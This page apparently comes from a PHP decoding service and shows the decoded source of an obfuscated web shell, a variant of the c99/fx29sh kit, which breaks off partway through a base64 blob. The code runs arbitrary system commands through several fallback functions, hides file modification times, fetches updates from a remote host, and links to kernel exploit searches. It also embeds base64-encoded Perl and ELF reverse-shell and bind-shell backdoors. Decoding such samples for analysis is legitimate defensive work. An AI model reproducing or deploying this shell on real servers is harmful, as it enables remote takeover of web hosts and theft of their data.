Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* Encoder : AROHA PHPencoder ver. 1.04 WEB : http://phpencoder.aroha.sk/ */ $..

Decoded Output download


/*
Encoder : AROHA PHPencoder ver. 1.04
WEB : http://phpencoder.aroha.sk/
*/
?><?
/*
Encoder : AROHA PHPencoder ver. 1.04
WEB : http://phpencoder.aroha.sk/
*/
?><?php
$sh_id = "SG9tZXBhZ2U=";
$sh_ver = "";
$sh_name = base64_decode($sh_id).$sh_ver;
$sh_mainurl = "http://legalref.ru/config/";
$html_start = ''.
'<html><head>
<title>'.$sh_name.'</title>
<style type="text/css">
<!--
body,table { font-family:verdana;font-size:11px;color:white;background-color:black; }
table { width:100%; }
table,td { border:1px solid #808080;margin-top:2;margin-bottom:2;padding:5px; }
a { color:lightblue;text-decoration:none; }
a:active { color:#00FF00; }
a:link { color:#5B5BFF; }
a:hover { text-decoration:underline; }
a:visited { color:#99CCFF; }
input,select,option { font:8pt tahoma;color:#FFFFFF;margin:2;border:1px solid #666666; }
textarea { color:#dedbde;font:fixedsys bold;border:1px solid #666666;margin:2; }
.fleft { float:left;text-align:left; }
.fright { float:right;text-align:right; }
#pagebar { font:10pt tahoma;padding:5px; border:3px solid #1E1E1E; border-collapse:collapse; }
#pagebar td { vertical-align:top; }
#pagebar p { font:8pt tahoma;}
#pagebar a { font-weight:bold;color:#00FF00; }
#pagebar a:visited { color:#00CE00; }
#mainmenu { text-align:center; }
#mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }
#maininfo,.barheader,.barheader2 { text-align:center; }
#maininfo td { padding:3px; }
.barheader { font-weight:bold;padding:5px; }
.barheader2 { padding:5px;border:2px solid #1F1F1F; }
.contents,.explorer { border-collapse:collapse;}
.contents td { vertical-align:top; }
.mainpanel { border-collapse:collapse;padding:5px; }
.barheader,.mainpanel table,td { border:1px solid #333333; }
.mainpanel input,select,option { border:1px solid #333333;margin:0; }
input[type="submit"] { border:1px solid #000000; }
input[type="text"] { padding:3px;}
.shell { background-color:#C0C0C0;color:#000080;padding:5px; }
.fxerrmsg { color:red; font-weight:bold; }
#pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; }
#pagebar,.mainpanel,input[type="submit"] { background-color:#4A4A4A; }
.barheader2,input,select,option,input[type="submit"]:hover { background-color:#333333; }
textarea,.mainpanel input,select,option { background-color:#000000; }
// -->
</style>
</head>
<body>
';
//Authentication
$login = "";
$pass = "";
$md5_pass = ""; //Password yg telah di enkripsi dg md5. Jika kosong, md5($pass).
$host_allow = array("*"); //Contoh: array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted Area"; //Pesan HTTP-Auth
$accessdeniedmess = "<a href=\"$sh_mainurl\">".$sh_name."</a>: access denied";
$gzipencode = TRUE;
$updatenow = FALSE; //Jika TRUE, update shell sekarang.
$c99sh_updateurl = $sh_mainurl."fx29sh_update.php";
$c99sh_sourcesurl = $sh_mainurl."fx29sh_source.txt";
//$c99sh_updateurl = "http://localhost/toolz/fx29sh_update.php";
//$c99sh_sourcesurl = "http://localhost/toolz/fx29sh_source.txt";
$filestealth = TRUE; //TRUE, tidak merubah waktu modifikasi dan akses.
$curdir = "./";
$tmpdir = ""; 
$tmpdir_log = "./";
$log_email = "[email protected]"; //email untuk pengiriman log.
$sort_default = "0a"; //Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending
$sort_save = TRUE; //Jika TRUE, simpan posisi pengurutan menggunakan cookies.
$sess_cookie = "c99shvars"; //Nama variabel Cookie
$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Hapus file yg telah di-copy setelah dipaste
$hexdump_lines = 8;
$hexdump_rows = 24;
$win = strtolower(substr(PHP_OS,0,3)) == "win";
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc)) {
  $disablefunc = str_replace(" ","",$disablefunc);
  $disablefunc = explode(",",$disablefunc);
}
//Functions
function get_phpini() {
  function U_wordwrap($str) {
    $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
    return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
  }
  function U_value($value) {
    if ($value == '') return '<i>no value</i>';
    if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
    if ($value === null) return 'NULL';
    if (@is_object($value)) $value = (array) $value;
    if (@is_array($value)) {
      @ob_start();
      print_r($value);
      $value = @ob_get_contents();
      @ob_end_clean();
    }
    return U_wordwrap((string) $value);
  }
  if (@function_exists('ini_get_all')) {
    $r = "";
    echo "<table><tr class=barheader><td>Directive</td><td>Local Value</td><td>Global Value</td></tr>";
    foreach (@ini_get_all() as $key=>$value) {
      $r .= "<tr><td>".$key."</td><td><div align=center>".U_value($value['local_value'])."</div></td><td><div align=center>".U_value($value['global_value'])."</div></td></tr>";
    }
    echo $r;
    echo "</table>";
  }
}
function disp_drives($curdir,$surl) {
  $letters = "";
  $v = explode("\",$curdir);
  $v = $v[0];
  foreach (range("A","Z") as $letter) {
    $bool = $isdiskette = $letter == "A";
    if (!$bool) {$bool = is_dir($letter.":\");}
    if ($bool) {
      $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\")."\"".
      ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"")."> [";
      if ($letter.":" != $v) {$letters .= $letter;}
      else {$letters .= "<font color=yellow>".$letter."</font>";}
      $letters .= "]</a> ";
    }
  }
  if (!empty($letters)) {Return $letters;}
  else {Return "None";}
}
if (is_callable("disk_free_space")) {
  function disp_freespace($curdrv) {
    $free = disk_free_space($curdrv);
    $total = disk_total_space($curdrv);
    if ($free === FALSE) {$free = 0;}
    if ($total === FALSE) {$total = 0;}
    if ($free < 0) {$free = 0;}
    if ($total < 0) {$total = 0;}
    $used = $total-$free;
    $free_percent = round(100/($total/$free),2)."%";
    $free = view_size($free);
    $total = view_size($total);
    return "$free of $total ($free_percent)";
  }
}
//w4ck1ng Shell
if (!function_exists("myshellexec")) {
  if(is_callable("popen")) {
    function myshellexec($cmd) {
      if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; }
      while (!feof($p)) {
        $line=fgets($p,1024);
        $out .= $line;
      }
      pclose($p);
      return $out;
    }
  } else {
    function myshellexec($cmd) {
      global $disablefunc;
      $result = "";
      if (!empty($cmd)) {
        if (is_callable("exec") and !in_array("exec",$disablefunc)) {
          exec($cmd,$result);
          $result = join("
",$result);
        } elseif (($result = $cmd) !== FALSE) {
        } elseif (is_callable("system") and !in_array("system",$disablefunc)) {
          $v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
        } elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {
          $v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
        } elseif (is_resource($fp = popen($cmd,"r"))) {
          $result = "";
          while(!feof($fp)) { $result .= fread($fp,1024); }
          pclose($fp);
        }
      }
      return $result;
    }
  }
}
function ex($cfe) {
  $res = '';
  if (!empty($cfe)) {
    if(function_exists('exec')) {
      @exec($cfe,$res);
      $res = join("
",$res);
    } elseif(function_exists('shell_exec')) {
      $res = @shell_exec($cfe);
    } elseif(function_exists('system')) {
      @ob_start();
      @system($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(function_exists('passthru')) {
      @ob_start();
      @passthru($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(@is_resource($f = @popen($cfe,"r"))) {
      $res = "";
      while(!@feof($f)) { $res .= @fread($f,1024); }
      @pclose($f);
    } else { $res = "Ex() Disabled!"; }
  }
  return $res;
}
function which($pr) {
  $path = ex("which $pr");
  if(!empty($path)) { return $path; } else { return $pr; }
}
//End of w4ck1ng Shell

//Start Enumerate function
$hostname_x = php_uname(n);
$itshome = getcwd();
if (!$win) {
  $itshome = str_replace("/home/","~",$itshome);
  $itshome = str_replace("/public_html","/fx29sh.php",$itshome);
}
else { $itshome = ""; }
$enumerate = "http://".$hostname_x."/".$itshome."";
//End Enumerate function

//milw0rm search
$Lversion = php_uname(r);
$OSV = php_uname(s);
if(eregi("Linux",$OSV)) {
  $Lversion=substr($Lversion,0,6);
 $millink="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=Linux Kernel ".$Lversion;
} else {
  $Lversion=substr($Lversion,0,3);
  $millink ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=".$OSV." ".$Lversion;
}
//End of milw0rm search

//Backdoor
$back_connect_pl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+D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EgAAAFwCAAAAAAAAKAAAABIAAABsAgAAZJoECAAAAAAQAPH/cwIAAAyaBAgAAAAAEQAVAIkCAABomgQIAAAAABAA8f+OAgAAAAAAAA4AAAASAAAAnwIAAAAAAAB4AAAAEgAAALICAAAsmQQIAAAAABAC8f/FAgAA8IgECAQAAAARAA4A1AIAAFiaBAgAAAAAEAAWAOECAAAAAAAAOQAAABIAAADzAgAAAAAAAAAAAAAgAAAABwMAACyZBAgAAAAAEALx/x0DAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZABfX2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA==";
$backdoor = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaB